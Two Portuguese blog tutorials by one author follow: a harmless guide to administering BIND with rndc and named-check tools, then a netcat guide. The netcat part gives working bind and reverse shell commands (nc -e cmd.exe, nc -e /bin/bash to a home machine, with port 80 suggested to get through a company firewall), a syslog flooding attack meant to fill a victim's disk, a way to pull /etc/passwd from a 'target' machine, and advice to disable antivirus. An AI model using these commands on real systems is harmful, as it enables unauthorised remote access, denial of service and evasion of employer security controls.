Destrinchando o RNDC e um pouco de NAMED-*

O servidor DNS é essencial para qualquer rede de computadores, sua instalação, manutenção e gerenciamento é bastante simples. Apesar de sua simplicidade é preciso ter o conhecimento necessário de como o servidor DNS funciona para saber administrar e realizar a manutenção adequada do mesmo. Neste post vou mostrar como você pode administrar e gerenciar seu DNS Bind de forma simples e segura.

Vamos primeiramente instalar o Bind9 para que possamos realizar nossos testes. Estarei usando o Ubuntu 10.10 para este post. Como o foco do post não é a instalação e configuração do Bind, estarei postando abaixo apenas os comandos necessários para isso, sem maiores detalhes:

#aptitude install bind9

Veja que na instalação o arquivo que contem a chave já foi criado (/etc/bind/rndc.key).

Vamos editar o arquivo /etc/resolv.conf para que o nosso sistema solicite ao nosso DNS os domínios interessados:

#vim /etc/resolv.conf

nameserver 127.0.0.1

Nosso DNS já esta funcionando como um servidor cache, sendo responsável pelo domínio osvaldohp.com.br (não vou mostrar como se faz essa configuração). No meu servidor temos dois domínios registrados: www.osvaldohp.com.br e ns.osvaldohp.com.br, veja a figura abaixo:

RNDC

O programa rndc (remote name daemon control) permite ao administrador controlar as operações de um servidor de nomes (DNS). Executando o comando sem parâmetro ira mostrar suas funções, como mostra a figura abaixo:

O comando rndc pode se comunicar com o servidor DNS de forma remota usando o protocolo TCP enviando comandos ao servidor depois de um procedimento de autenticação com assinatura digital. Na atual versão do rndc e do servidor Bind o único algoritimo suportado para a realização da autenticação é o HMAC-MD5 que utiliza uma chave secreta compartilhada em cada ponto da comunicação. Este tipo de autenticação é conhecido como TSIG, que inicialmente ficou muito conhecido pelo seu uso em servidor DNS para a atualização de base, mas o mesmo pode ser usado para a comunicação entre servidores diversos para consultas regulares.

O comando “rndc reload” serve para o bind recarregar o arquivo de configuração e as zonas, vamos ver depois outros comandos ideais para determinadas situações. Vamos criar um novo registro chamado mail.osvaldohp.com.br em seguida vamos executar o comando e ver se a partir daí o meu DNS já reconhece este novo registro:

Veja que depois que executei o comando “rndc reload” o meu servidor já passou a responder pelo novo registro mail.osvaldohp.com.br. Em muitos casos você não precisará executar este comando, imagine que o seu servidor é responsável por milhares de zonas e que toda vez que você executar este comando o arquivo de configuração do bind e todas as zonas serão recarregadas podendo sobrecarregar o servidor se o mesmo for de pequeno porte e com capacidade de memória limitada.

Vamos criar  um registro chamado web.osvaldohp.com.br e ver o que acontece se no lugar de “rndc reload” executamos “rndc reconfig”, veja a figura abaixo:

Como podemos ver o nosso servidor não reconheceu o nosso novo registro, mas isso aconteceu porque o “reconfig” não carrega as zonas já existentes mesmo que tenha alguma alteração na mesma. O “reconfig” recarrega os arquivos de configuração do bind e busca por zonas novas. Este comando é ideal quando você cria uma nova zona e precisa carregar esta zona, com isso forçando o bind a buscar apenas as zonas novas sem precisar carregar todas as zonas existentes.

Neste caso podemos utilizar o comando “rndc reload nome_da_zona”, veja abaixo:

Neste exemplo o “reload” recarregou apenas a zona responsável pelo domínio osvaldohp.com.br  (/var/cache/bind/osvaldohp.zone)  e vimos que  a partir deste momento nosso servidor passa a reconhecer nosso novo registro (web.osvaldohp.com.br).

O comando “rndc refresh” serve para forçar o servidor DNS Secundário a buscar no Primário por atualização, se caso houver uma atualização então a transferência é feita. Um exemplo deste comando seria executar o comando abaixo no DNS Secundário:

#rndc refresh osvaldohp.com.br

Nenhum comando fará uma transferência de zona se o servidor primário tem um número de série igual ou inferior. O servidor secundário irá verificar o número de série, se ver que a sua cópia de zona é atual nada acontecerá. Para forçar uma transferência de zona apague o arquivo do secundário e reinicie o servidor.

Se você precisa transferir uma zona sem precisar checar o número do serial utilize o comando abaixo:

#rndc retransfer osvaldohp.com.br

Imagina que você tem uma zona dinâmica e você precisa fazer algumas modificações manuais nesta zona, neste caso use o comando “freeze zone”. Quando você usa o “freeze” qualquer tentativa de atualização dinâmica será recusada. Veja abaixo como seria o comando:

#rndc freeze zone

#rndc freeze osvaldohp.com.br

Se a zona não for especificada todas as zonas serão congeladas. Para habilitar a zona novamente utilize “rndc thaw osvaldohp.com.br”

O procedimento de notificar um servidor secundário serve para que o mesmo seja informado que existem atualizações no primário e o secundário precisa buscar essas novas atualizações para a sua base de dado.  O secundário verifica o número serial e se for maior do que o que ele tem registrado na sua base ele faz a transferência da zona. Para que você force o seu DNS primário a notificar o secundário que existe uma nova atualização use o comando “rndc notify osvaldohp.com.br”. A figura abaixo mostra o que acontece na hora de você executar este comando:

Veja que na janela maior foi executado o comando rndc notificando o secundário sobre alguma atualização e no “tcpdump” executado no secundário temos essa comunicação entre os servidores.

O comando “rndc stats” gera um arquivo chamado “named.stats” com estatísticas do servidor, o diretório para onde o arquivo é criado é definido na diretiva “directory” dentro do arquivo “/etc/bind/named.conf.options”, no meu caso não mudei esta configuração, veja abaixo algumas informações dentro do arquivo:

O comando “rndc querylog” altera o log de consulta, abaixo vamos realizar alguns testes.

Se você executar “rndc querylog” uma vez ele habilita e começa a logar todas as requisições feitas para o DNS, para desabilitar é só executar de novo, veja o que aparece no nosso log (/var/log/syslog) quando habilitamos o querylog:

Veja que o “query logging” foi habilitado. Vamos realizar uma consulta DNS e ver o que vai aparecer agora em nosso log (/var/log/syslog):

O cliente que fez a requisição tem o IP 127.0.0.1, como realizei a consulta do próprio servidor DNS e no “resolv.conf” esta configurado a opção “nameserver” apontando para o 127.0.0.1 é por isso que aparece esse IP. Qualquer cliente que faça uma consulta para o nosso DNS aparecera o IP do cliente. Se você desabilitar o “query logging” nenhuma requisição será salva no log.

O “dumpdb” joga o cache e as zonas para um arquivo chamado named_dump.db, como opção do comando podemos usar:

-cache (faz o dump só do cache, é o padrão )

-zone (faz o dump das zonas)

-all (faz ambos)

Veja abaixo o conteúdo do arquivo criado com o comando “rndc dumpdb -all”:

Lembrando que o diretório para onde o arquivo é criado é definido na diretiva “directory” dentro do arquivo “/etc/bind/named.conf.options”.

O comando “rndc stop” para o servidor DNS, mas salva todas as pendências. Veja a figura abaixo:

Logo depois que executamos o “stop” nosso DNS parou de funcionar. O rndc não implementa o que seria “start” até porque para o rndc poder executar este comando teria que primeiramente se conectar no servidor DNS, como o servidor estaria desligado então não teria como executar um “rndc start”. O comando “halt” faz a mesma coisa que o “stop”, porém faz com que o servidor pare de forma abruptamente sem salvar nenhuma alteração que esteja sendo realizado no momento.

Quando pensamos em debug o rndc tem 3 opções:

O trace que incrementa em 1 o nível de debug do servidor.

O trace level que configura o nível do debug para um nível especifico.

O notrace configura o nível do debug para 0.

Podemos usar os comandos “flushes” para limpar o cache do nosso servidor. O comando “rndc flush”  limpa todo o cache do servidor e o “rndc flushname name” limpa o cache para o nome informado. Vamos aos testes.

Vamos pingar o domínio www.chamada.com.br e logo em seguida vamos usar o comando “dig” para ver se o nosso servidor DNS registrou este domínio no cache, veja abaixo saída do comando dig:

O comando “dig” esta requisitando ao nosso servidor DNS (@127.0.0.1) o IP do domínio www.chamada.com.br, porém este domínio deve ser buscado no cache ou nas zonas do servidor (+norecurse). Na saída do comando veja onde esta escrito “ANSWER SECTION” que é a resposta do nosso servidor e logo abaixo temos a linha:

www.chamada.com.br      3248      IN CNAME          chamada.com.br.

O número 3248 é o valor em segundos de quanto tempo faltam para que esse valor guardado no cache do servidor seja novamente requisitado para o DNS responsável pelo domínio chamada.com.br. Se você usar o comando dig novamente perceba que esse número vai diminuir:

Quando executamos o comando “rndc flushname chamada.com.br” nosso servidor ira apagar do cache dele qualquer registro referente a este domínio. Veja a saída do comando dig depois de executa o comando rndc flushname chamada.com.br:

Veja que o nosso servidor depois do “flush” não tem mais em seu cache nenhuma informação referente ao domínio chamada.com.br. Este comando é muito utilizado quando o seu servidor tem no cache o IP antigo de um servidor e você quer atualizar o seu cache para que obtenha as novas informações sobre um determinado domínio. Para limpar todo o cache use o comando “rndc flush”.

O comando “rndc status” mostra um pequeno status sobre o servidor:

Você pode salvar em um arquivo (named.recursing) uma lista de todas as consultas recursivas que estão sendo feitas para o servidor DNS, para isso basta executar o comando “rndc recursing”. Lembrando que o diretório para onde o arquivo é criado é definido na diretiva “directory”. Veja abaixo o conteúdo do arquivo gerado:

O DNSSEC é nome dado às extensões de segurança para o protocolo DNS, essa extensão autentica todas as informações do DNS garantindo a integridade e autenticidade. Para que o servidor DNS passe a funcionar com essas extensões é necessário um procedimento de configuração adequando para isso. Se o seu servidor já esta configurado para suportar DNSSEC você pode usar o comando “rndc validation newstate” para habilitar e desabilitar a validação usando DNSSEC.

Todos os comandos executados até aqui foram na máquina local, ou seja, para que você execute terá que acessar o servidor DNS remotamente usando SSH ou fazer um “login” local. O rndc, como já dito antes, utiliza o protocolo TCP na porta 953 para enviar comandos para um servidor de DNS remoto. Vamos ver como se configura o rndc e o bind9 para que possamos de forma remota enviar comandos para o nosso DNS.

Primeiro vamos criar nossa chave que chamaremos de “chave” com o comando “dnssec-keygen”, veja a figura abaixo:

Copie a chave “wxxIkP6xnJ67LJ4KDr+9Qw==” que iremos usar na nossa configuração. Crie o arquivo “/etc/rndc.conf” com o conteúdo:

Agora vamos editar o arquivo “/etc/bind/named.conf.options” e acrescentar o conteúdo abaixo fora da seção options:

Agora reinicie o bind9 e pronto nosso servidor já aceita comandos remotos do rndc. Se você tentar executar o rndc local ele não vai aceitar, porque estará escutando na porta 953 do IP do servidor (192.168.0.1) e não no IP de loopback. Para que você possa executar o rndc localmente você precisa especificar o IP do DNS e a chave. Vamos automatizar este processo e colocar estas informações dentro de um arquivo.

Primeiramente copie o arquivo que criamos antes chamado de “/etc/rndc.conf” para dentro do diretório “/etc/bind” e acrescente o conteúdo abaixo no arquivo:

Agora você já pode executar o rndc normalmente como fazia antes. Na figura abaixo mostro o que aconteceu antes e depois de termos adicionado e copiado esse arquivo:

Estamos quase acabando, esta faltando configurar as máquinas remotas que irão enviar os comandos rndc para o nosso servidor. A primeira coisa que devemos fazer é sincronizar o horário de sistema do servidor DNS com o da máquina cliente. Vou mostrar como se faz isso no Debian, que é a máquina cliente do meu teste, o mesmo procedimento serve para o Ubuntu que é o meu servidor.

Vamos instalar o cliente para o servidor NTP:

#aptitude install ntpdate

Temos um servidor NTP com o IP 192.168.0.3, agora só é executar o comando abaixo e ele sincronizara com a hora do servidor de horas:

#ntpdate 192.168.0.3 (Ip do servidor NTP)

Faça este procedimento no servidor DNS e nos clientes. Para que este procedimento tenha efeito permanente você precisa fazer algumas alterações no arquivo “/etc/default/ntp” e instalar o “daemon” do NTP.

Precisamos instalar o programa rndc:

#aptitude install bind9utils

Crie a pasta “/etc/bind” e copie o arquivo “/etc/bind/rndc.conf” que esta no servidor DNS para esta pasta.

Agora podemos executar nosso primeiro comando remotamente:

NAMED-*

O bind9 vem com duas ferramentas que ajudam a solucionar problemas de configuração que são chamados de named-checkconf e named-checkzone.

O named-checkconf verifica a sintaxe do arquivo de configuração do bind. Abaixo segue um exemplo deste comando:

A opção -z faz um teste de todas as zonas encontradas no arquivo named.conf. Veja que na terceira linha ele encontrou um erro dizendo que não conseguiu carregar a zona reversa, isso aconteceu porque não criei esse arquivo.

O named-checkzone verifica a sintaxe e consistência dos arquivos de zona.Veja na figura abaixo a saída do comando:

Veja que ele encontrou erros no arquivo, antes de executar o comando modifiquei o arquivo colocando um erro de sintaxe.

Estes dois exemplos foi uma pequena introdução do que se pode fazer com o named-*. Para maiores informações leia o manual (man).

A ferramenta rndc e named-* são de extrema importância para qualquer Administrador de servidores DNS, a correta utilização destas ferramentas agiliza o processo na resolução de problemas e administração do servidor.

By Osvaldo H. Peixoto

NetCat o canivete suíço

O NetCat é uma ferramenta que serve para ler e escrever dados através de uma conexão de rede usando o protocolo TCP ou enviando/recebendo dados usando o protocolo UDP. Esta ferramenta é indispensável, considerada o canivete suíço dos hackers, com uma infinidade de possibilidades na sua utilização. Todos os antivírus detectam a presença do netcat como uma ameaça, porque o mesmo pode ser utilizado para fins maliciosos. Se você for realizar seus testes em uma máquina Windows você tem 3 saídas: desabilite o antivírus, coloque o netcat na whitelist do seu antivírus ou “limpe” o netcat com o Petite.

Este post vai ser bem direto, sem rodeios e mostrar na prática como você pode utilizar o netcat. Como foi dito antes o netcat é muito poderoso não se limite apenas naquilo que irei mostrar aqui.

Linha de Comando

    

A linha de comando básico para conexão em outro host:

#nc [opção] host porta

Onde o host pode ser o nome ou IP da maquina e porta é a porta de comunicação onde pode ser uma simples porta, uma “range” (22-80) ou portas individuais separadas por espaço (22 23 80).

Linha de comando para receber conexões:

#nc -l -p port

Onde a opção –l habilita o modo de ESCUTA e –p especifica a porta.

Pense no nc (netcat) como uma ferramenta que tem o poder de criar uma conexão cliente/servidor. Você pode usar o nc para conectar em outros serviços ou usar em uma ponta o nc como servidor e na outra como cliente.

Faça o download do NetCat no link abaixo:

http://www.downloadnetcat.com/

Agora só é descompactar o arquivo, dentro da pasta descompactada você ira encontrar um executável do netcat e o código fonte caso você queira compilar.

Se você utiliza Linux tenha certeza que já tem o pacote no repositório da sua distribuição.

Se você executar o nc sem parâmetro ele entra em modo interativo:

#nc

Cmd line:

Na maioria dos casos você não utiliza o modo interativo, por este motivo não irei abordar este modo.

Para ver as opções do nc execute o comando abaixo:

#nc -h

[v1.10-38]

connect to somewhere:   nc [-options] hostname port[s] [ports] ...

listen for inbound:     nc -l -p port [-options] [hostname] [port]

options:

        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]

        -e filename             program to exec after connect [dangerous!!]

        -b                      allow broadcasts

        -g gateway              source-routing hop point[s], up to 8

        -G num                  source-routing pointer: 4, 8, 12, ...

        -h                      this cruft

        -i secs                 delay interval for lines sent, ports scanned

        -k                      set keepalive option on socket

        -l                      listen mode, for inbound connects

        -n                      numeric-only IP addresses, no DNS

        -o file                 hex dump of traffic

        -p port                 local port number

        -r                      randomize local and remote ports

        -q secs                 quit after EOF on stdin and delay of secs

        -s addr                 local source address

        -T tos                  set Type Of Service

        -t                      answer TELNET negotiation

        -u                      UDP mode

        -v                      verbose [use twice to be more verbose]

        -w secs                 timeout for connects and final net reads

        -z                      zero-I/O mode [used for scanning]

Entendendo Algumas Opções

     -d = essa opção não funciona no Windows, coloca o nc em modo invisível, como se fosse um “daemon”

     -e = assim que a conexão é estabelecida o é executado, muito usado para criar “backdoor”

     -g = especifica os pulos que o pacote ira percorrer para chegar até o destino, ótimo para passar por firewall e esconder a sua rede

     -G = você escolhe o próximo pulo da sua lista-rotas

     -l = modo de escuta, deve ser usado junto com -p para especificar em que porta escutar

     -L = modo de escuta (listen), não funciona no Windows, a diferença é que se uma conexão for fechada o -L força o nc a entrar no modo de escuta de novo

Prática

1) O comando abaixo permite escutar (-L) na porta (-p) 4455 onde um programa vai ser executado (-e) assim que a conexão for estabelecida. Este comando se executa na máquina que você quer se conectar a ela.

A linha de comando abaixo tem que ser executada em uma máquina Windows e assim que a conexão for estabelecida a shell cmd.exe será executada, pense neste cenário como uma conexão remota.

C:\>nc -L -d -p 4455 -e cmd.exe 

Obs: se você deseja se conectar em uma máquina Linux substitua o comando acima pelo comando: #nc –d –l –p 4455 –e /bin/bash

Agora da máquina remota é só executar o comando abaixo:

C:\>nc IP_DESTINO 4455

obs: do lado do cliente você pode esta em uma máquina rodando qualquer sistema operacional que suporte o nc.

A figura abaixo mostra este cenário:

2) Scaneando

A opção -z diz para o nc mandar uma quantidade mínima de dados, o suficiente para analisar a atividade da porta, neste caso as portas 20 e 80.

C:\>nc -v -z www.google.com 20 80

Veja abaixo a saída do comando acima:

obs: o nc não é uma ferramenta própria para fazer scan, para isso use o Nmap.

         

3) Descobrindo a versão do serviço

O nc não é ideal para você realizar scan, isso já sabemos, mas não se esqueça que ele é um canivete suíço.

Com o comando abaixo vamos conectar na porta 80 do www.google.com e enviar alguns comandos que o protocolo HTTP entenda:

C:\>nc www.google.com 80

GET / HTTP

Veja a figura abaixo:

Com o comando acima conseguimos conversar um pouco de HTTP com o servidor WEB e como resposta temos a versão do servidor (Server: GFE/2.0).

Veja abaixo como automatizar esta tarefa:

C:\>echo QUIT | nc www.google.com 80

Você também poderá especificar duas portas:

C:\>echo QUIT | nc www.google.com 80 22

Obs: nem todo serviço entende o comando QUIT, por isso em alguns serviços esta linha de comando não vai retornar nada.

Com o comando abaixo vamos automatizar nossa tarefa e pegar só o que nos interessa:

#echo -e "GET / HTTP 1.0\r\n" | nc www.google.com 80 | egrep '^Server:'

Veja a figura:

Obs: este comando foi adaptado para rodar no Linux

    

4) Mensagens no Log

Se você conhece algum servidor de log que fique escutando na porta 514 é só encher os logs de mensagem, se o serviço estiver mal configurado ou se a máquina tiver um HD com capacidade de armazenamento baixa, hoje em dia isso não acontece, isso poderá travar o sistema de log ou impossibilitar o registro de novos logs porque o HD estará cheio. Abaixo segue os dois comandos que iremos usar:

     yes "Mensagem aqui" | nc -u VitimaIP 514

     echo "Mensagem aqui" | nc -u VitimaIP 514

obs: a diferença do “yes” para o “echo” é que o yes vai continuar executando o comando até que alguém execute o famoso control+c.

Toda máquina Linux já vem com um sistema de log instalado, no meu caso estou usando o Ubuntu e ele veio com o syslogd já instalado e configurado. Por padrão ele registra os eventos locais da máquina e não aceita registros de máquinas remotas. Para fazer com que ele aceite conexão remota siga os passos abaixo:

#vim /etc/default/syslogd

Modifique a linha:

SYSLOGD=""

Para:

SYSLOGD="-r"

Salve, feche o arquivo e “reinicie” o serviço com o comando abaixo:

#/etc/init.d/sysklogd restart

Execute o comando abaixo e veja que o serviço syslogd esta escutando na porta 514:

Agora podemos começar nossos testes. Com o comando abaixo vamos deixar uma mensagem no servidor de log:

C:\Users\Zoi\Desktop\nc>echo "NOSSO PRIMEIRO TESTE REMOTO COM O SERVIDOR DE LOG" | nc -u 10.1.4.249 514

Veja na figura abaixo que apareceu o nome netbios da máquina que disparou o ataque (osvaldo-pc.local) e que a mensagem foi registrada:

Vamos enviar várias mensagens sem parar para o servidor de log, primeiro vamos ver o tamanho do arquivo syslogd, veja a figura abaixo:

O tamanho do arquivo é 6,8 MB. Vamos ver que tamanho ele ficara depois de enviar nossa mensagem, veja a figura abaixo:

Executando o comando da segunda janela por 1 min o arquivo de log passou de 6,8 MB para 43 MB. Imagina se você trocar a mensagem “VAMOS ENCHER ESSE LOG” por “VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG VAMOS ENCHER ESSE LOG”, já imaginou?

Obs: o comando “yes” só vai funcionar em ambientes Linux.

5) Criando um Datapipe

    

Imagine que você queira copiar um arquivo de uma máquina para outra, temos a máquina ALVO onde esta o arquivo que queremos copiar (/etc/passwd) e temos a máquina para onde queremos copiar o arquivo.

Na máquina ALVO execute o comando abaixo:

#nc -l -u -p 55555 < /etc/passwd (maquina ALVO - linux)

C:\>nc -u ALVO_IP 55555 > saida_do_arquivo.txt (maquina para onde vou copiar o arquivo - Windows)

Veja a figura abaixo:

6) Pegando a saída de um programa

Imagine que você criou um script que tem como finalidade executar os comando w e netstat, porém você não quer ter que acessar a máquina só para executar seu script. Com o nc você pode direcionar a saída do seu script para uma máquina remota. Com a opção –e apontamos para o script que criamos. Vamos criar um arquivo com o nome script.sh:

#vim script.sh

#!/bin/bash

echo "saida do comando: w -l"

w -l

echo

echo

echo

echo "saida do comando: netstat -ant"

netstat –ant

Salve, feche o arquivo e mude as permissões do arquivo:

#chmod +x script.sh

Na máquina (linux) onde esta o script execute o comando abaixo:

#nc -l -u -p 55555 -e script.sh

Para você ver a saída do script execute o comando abaixo da máquina remota (Windows):

C:\nc>nc -u 10.1.4.249 55555 > script_saida.txt

Veja a figura abaixo:

Também é possível fazer o reverso, observe os comandos abaixo para isso:

Execute este comando na máquina para onde a saída do script vai ser copiada

C:\nc>nc –l -u –p 55555 > script_saida.txt

Este comando deverá ser executado onde esta o seu script

#nc –u –e script.sh IP_MAQUINA_SAIDA_SCRIPT 55555

7) Conexão TCP Reversa

Imagine que você esta em casa e precisa acessar o seu computador que esta na rede interna da empresa. As empresas podem permitir isso disponibilizando acesso VPN e criando NAT. O problema de tudo isso é a burocracia e dependendo da política de segurança da empresa você não seja liberado para fazer isso. Vamos ver o que podemos fazer com o nc neste caso.

O cenário é este:

SUA MAQUINA NA EMPRESA <--------> FIREWALL EMPRESA <--------> MAQUINA VELOZ  

SUA MAQUINA NA EMPRESA: sua máquina de trabalho na empresa

FIREWALL EMPRESA: firewall da empresa

MAQUINA VELOZ: sua conexão de casa com a Internet  

Você não pode da sua casa tentar se conectar no seu computador dentro da empresa se não houver NAT ou VPN. Neste caso temos que fazer uma conexão reversa, nossa MAQUINA VELOZ vai ESCUTAR na porta 80 e o controle de I/O da Shell /etc/bash será enviado através desta conexão assim que a máquina de dentro da empresa se conectar nesta porta.

Execute este comando na MAQUINA VELOZ:

C:\Users\Zoi\Desktop\nc>nc -l -p 55555

Antes de você sair do seu trabalho execute o comando:

#nc -e /bin/bash IP_MAQUINA_VELOZ 55555

Veja a figura abaixo:

Obs: se o firewall da sua empresa permite apenas acesso a serviços WEB, porta 80, execute os comandos mudando de porta 55555 para 80.

Essa dica abaixo peguei da Internet, ctrl+c + ctrl+v.

8) Executando comandos pelo NetCat

server.sh (run by you) ----> vai fazer um loop para deixar o serviço sempre ativo

#!/bin/bash
while true; do
   netcat -l -p 55555 -e protocol.sh
done
exit 0

Mude as permissões do arquivo server.sh (chmod +x Server.sh) e execute o script:

#./server.sh

protocol.sh (run by netcat line in server.sh) -----> implementação dos comandos que o server.sh vai reconhecer e executar

#!/bin/bash
read command
case "$command" in
"WOL")
   echo "doing WOL"
;;
*)
   #do nothing
;;
esac

Mude as permissões com o comando chmod, mas não precisa executá-lo.

Toda vez que você se conectar neste IP pela porta 55555, a I/O do script protocol.sh passara pelo netcat. Atualmente somente um comando esta implementado (WOL) que retornará como saída “doing WOL” .

Para testar vamos nos conectar usando o comando abaixo:

C:\Users\Zoi\Desktop\nc>nc 10.1.4.249 55555

Depois de conectado só é preciso executar os comando que o resultado será mostrado na janela, como mostra a figura abaixo:

Se na máquina cliente você estiver usando o Linux é só executar o comando abaixo:

#echo "WOL" |netcat 10.1.4.249 55555

O NetCat é uma ferramenta muito poderosa, o que foi mostrado aqui é apenas uma introdução do que pode ser feito com o netcat. Vários exploits e injection tem sido usado com o netcat. Para maiores informações para compilação e uso da ferramenta veja os arquivos hobbit.txt e readme.txt que vieram junto com o netcat. Se você estiver interessado em criar conexões seguras com o netcat procure pelo CRYPTCAT, que é uma versão do netcat que utiliza conexões encriptadas. 

By Osvaldo H Peixoto